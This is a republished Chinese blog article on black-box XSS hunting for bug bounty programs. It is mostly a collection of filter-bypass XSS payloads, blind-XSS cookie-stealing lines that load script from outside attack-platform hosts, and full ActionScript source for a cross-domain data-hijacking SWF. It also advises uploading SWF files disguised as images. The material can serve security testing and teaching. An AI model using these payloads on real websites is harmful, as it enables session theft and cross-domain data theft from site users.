我是如何黑盒測試XSS漏洞的?


在挖掘SRC中,很多人挖洞都是挖掘的XSS漏洞,隨着Web安全的普及,人類越來越注重自身網站的安全。

來一篇簡單的黑盒測試XSS漏洞的一點方法和個人的一些見解

一般測試XSS漏洞,一般是簡單測試下,而不是直接深層次的繞過代碼直接去碰,測試XSS常規的XSS測試語句是:

 

     "><img/src/onerror=alert(1)>

 

屢試不爽

先講一個簡單的,在測試XSS漏洞的時候,當我們使用這個語句的時候,一般瀏覽器/網站自身都有過濾和防護

所以很無奈,這種payload遇到大型網站一般GG了!

想讓這種普通payload觸發我們該如何去做?

 

我來說一個我實際遇到的情況:

 

假設有個提交的表單的頁面:表單提交的頁面有個添加網站的功能,添加網站功能做了驗證,他只允許添加網站,而不允許添加那些非網站的信息,只允許http://xxx.com這種,而不允許text文檔。

 

 

 

 

遇到類似於這種情況,就是相當於你遇到當網站遇到限制你操作的時候,只允許做某種輸入的時候,那么就很有可能存在XSS漏洞。

 

我們先輸入正確的輸入規則然后抓包,然后我們把正確的輸入規則改成錯誤的規則,就是我們上面常規的XSS Payload:

 

 

 

然后我們發包:

 

 

 

這只是其中一種情況,這種漏洞還是蠻常見的。我遇到了好幾次了

 

我們知道很多時候XSS漏洞的修復不是白盒修復,而是黑盒修復,修復的並不完善:

 

有的XSS修復是只過濾了script而沒有進行其他標簽的過濾:

提供一點XSS語句:

 

<embed src="http://www.baidu.com" />

<style onload=alert(1)>

"><iframe onload=alert(1)>

<input oninput=alert(1)

 

很多時候我們會發現使用其他payload會出現意想不到的效果:

  

網頁編碼GBK格式繞過過濾方法:

 

%bf<script%bf>%bf</script/%bf>

 

之前看了個百度的發帖輸入XSS payload彈窗的存儲型xss漏洞,所用的payload 是:

 

<iimgmg src=# onerror=alalertert(document.cookie)>

 

雙代碼繞過思路。其實很多時候輸入常規代碼不彈窗的時候不要氣餒,嘗試使用其他payload

 

     關於XSS盲打,一般是直接借用XSS攻擊平台最普通的XSS打cookie語句:

 

</tExtArEa>'"><sCRiPt sRC=http://2xss.cc/VgFl></sCrIpT>

 

現在程序員對盲打cookie使用這個語句多少有點了解,都會禁止傳輸textarea標簽,等價於這條盲打語句的是:

 

<a onmouseover=s=createElement('script');body.appendChild(s);s.src=http://oxss.cn/Qs13>sss</a>

 

我臨時使用的XSS測試平台是:

 

http://xxx/xss.php?do=project&act=create

 

很多時候會對<>進行過濾,我們可以進行各種編碼繞過這里不講了,《心傷的瘦子的XSS》文章介紹的很清楚了!

 關於callback,隨着互聯網的發展,接口出現的頻率越來越高,我之前測試的一個網站,百分之80的網站接口都是callback,那么callback接口是否會存在什么安全隱患呢 ?

答案是必然的,他會存在sql注入,XSS等。

這里主要是彈XSS漏洞

 

提供幾個接口測試的XSS payload:

 

<img src=1 onerorr=alert(1)>

javascripr:alert(1)

vbscript:alert(1)

 

舉例子三個,我只是拋磚引玉,還可以延生很多XSS語句比如 prompt彈窗都可以,包括大小寫,都可能造成彈窗!

很多時候XSS是過濾的是那些js標簽和HTML標簽,他沒有過濾css標簽,那么css外部引用漏洞就變得有機可乘了

 

(1)  <span style="font-size:99px;">aaaa</span>

 

(2)  <span style="font-size:99px; background:url('//timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1508326019771&di=20c2f2ee7f6c14f62ea9984fd1ebfbd3&imgtype=jpg')">aaaa</span>  

 

最后一點關於crossdomain.xml

 

很多網站,都存在crossdomain.xml文檔,大家一定要注意這個文件,很多高危漏洞都因為他,crossdomain.xml是可以導致跨域的一個重大原因之一。有句話我的印象很深刻,一個swf文件相當於一個高危漏洞,當swf遇到crossdomain.xml文檔就是高危的產生。

 

swf文件的利用格式是很多的, 提供一份swf文檔代碼:

 

package com.powerflasher.SampleApp {

    import flash.external.ExternalInterface;

    import flash.display.Sprite;

    import flash.display.Sprite;

    import flash.events.Event;

    import flash.net.URLLoader;

    import flash.net.URLRequest;

    import flash.text.TextField;

    import flash.text.TextFieldAutoSize;

    import flash.xml.*;

    import flash.events.IOErrorEvent;

import flash.events.*;

        import flash.net.*;

/**

 * @author User

 */

  public class CrossDomainDataHijack extends Sprite {

private var loader:URLLoader;

        public function CrossDomainDataHijack() {

            loader = new URLLoader();

            configureListeners(loader);

var target:String = root.loaderInfo.parameters.input;

            var request:URLRequest = new URLRequest(target);

            try {

                loader.load(request);

            } catch (error:Error) {

                sendDatatoJS("Unable to load requested document; Error: " + error.getStackTrace());

            }

        }

        private function configureListeners(dispatcher:IEventDispatcher):void {

            dispatcher.addEventListener(Event.COMPLETE, completeHandler);

            dispatcher.addEventListener(Event.OPEN, openHandler);

            dispatcher.addEventListener(ProgressEvent.PROGRESS, progressHandler);

            dispatcher.addEventListener(SecurityErrorEvent.SECURITY_ERROR, securityErrorHandler);

            dispatcher.addEventListener(HTTPStatusEvent.HTTP_STATUS, httpStatusHandler);

            dispatcher.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);

        }

        private function completeHandler(event:Event):void {

            var loader:URLLoader = URLLoader(event.target);

            //trace("completeHandler: " + loader.data);

     sendDatatoJS("completeHandler: " + loader.data);

        }

        private function openHandler(event:Event):void {

            //trace("openHandler: " + event);

sendDatatoJS("openHandler: " + event);

        }

        private function progressHandler(event:ProgressEvent):void {

            //trace("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);

sendDatatoJS("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);

        }

        private function securityErrorHandler(event:SecurityErrorEvent):void {

            //trace("securityErrorHandler: " + event);

sendDatatoJS("securityErrorHandler: " + event);

        }

        private function httpStatusHandler(event:HTTPStatusEvent):void {

            //trace("httpStatusHandler: " + event);

sendDatatoJS("httpStatusHandler: " + event);

        }

        private function ioErrorHandler(event:IOErrorEvent):void {

            //trace("ioErrorHandler: " + event);

sendDatatoJS("ioErrorHandler: " + event);

        }

private function sendDatatoJS(data:String):void{

            trace(data);

ExternalInterface.call("sendToJavaScript", data);

}

    }

}

 

 

 他的繞過后綴有好幾種:

 

大家要格外注意這一塊漏洞!

 

要記住文件上傳不僅僅可以是拿webshell,還可能是跨域劫持哦。假設文件上傳不存在php,asp,aspx,jsp等文件的上傳不要灰心,應該嘗試html后綴和swf后綴或者是swf文檔的隱藏gif  png jpg格式的上傳。漏洞挖掘中,我們不應該錯過任何一次嘗試,每一次錯過代表你與漏洞將失之交臂。要始終堅信即使是最安全的系統也可能存在安全漏洞,一切皆有可能。

 

 關於flash xss文檔的制作:

簡單的XSS payload制作:

 

getURL("javascript:alert('test')");

 

  假如我們把我們的swf文件發給其他用戶是否會進行文件未對swf的過濾處理?導致收件人預覽/打開文件的一瞬間瞬間彈窗呢?

一切皆有可能。

 

我上面所講的,我都親身體會挖掘過,附帶的提一下CRLF這種漏洞的挖掘思路:

詳情我不說了,看細節文章吧:

 

http://www.secevery.com:4321/bugs/wooyun-2016-0173904

 

寫的很詳細,本人非常佩服! XSS問題是個持續性的安全問題,需要廣大的安全愛好者們去深入挖掘和突破,他遠沒有我說的那么簡單,他很復雜,值得研究,作者只是拋磚引玉,以后遇到更好的挖掘方式,自會更新!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM